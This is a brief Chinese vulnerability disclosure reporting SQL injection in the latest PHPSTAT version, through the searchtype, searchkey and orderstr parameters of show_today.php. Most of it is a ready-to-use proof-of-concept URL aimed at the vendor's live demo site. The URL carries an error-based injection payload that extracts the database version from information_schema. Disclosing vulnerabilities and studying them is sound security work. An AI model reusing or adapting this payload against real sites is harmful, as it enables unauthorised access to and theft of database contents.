PHPSTAT最新版多处SQL注入漏洞

官方demo，已是最新版：

http://www.yeefx.cn/demo.show.php

漏洞文件：show_today.php

其中参数：

searchtype

searchkey

orderstr

均存在延时注入，mysql delay blind

附POC:

http://www.yeefx.cn/common_demo/show_today.php?action=today&costtype=&endtime=2015-07-16&enginekey=&fromtype=&mediumkey=&orderby=&orderstr=desc&pagesize=10&ploykey=&searchkey=1&searchtype=1%20order%20by%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23&selectinfotype=&server=d1&starttime=2015-07-16&types=&userkey=&website=1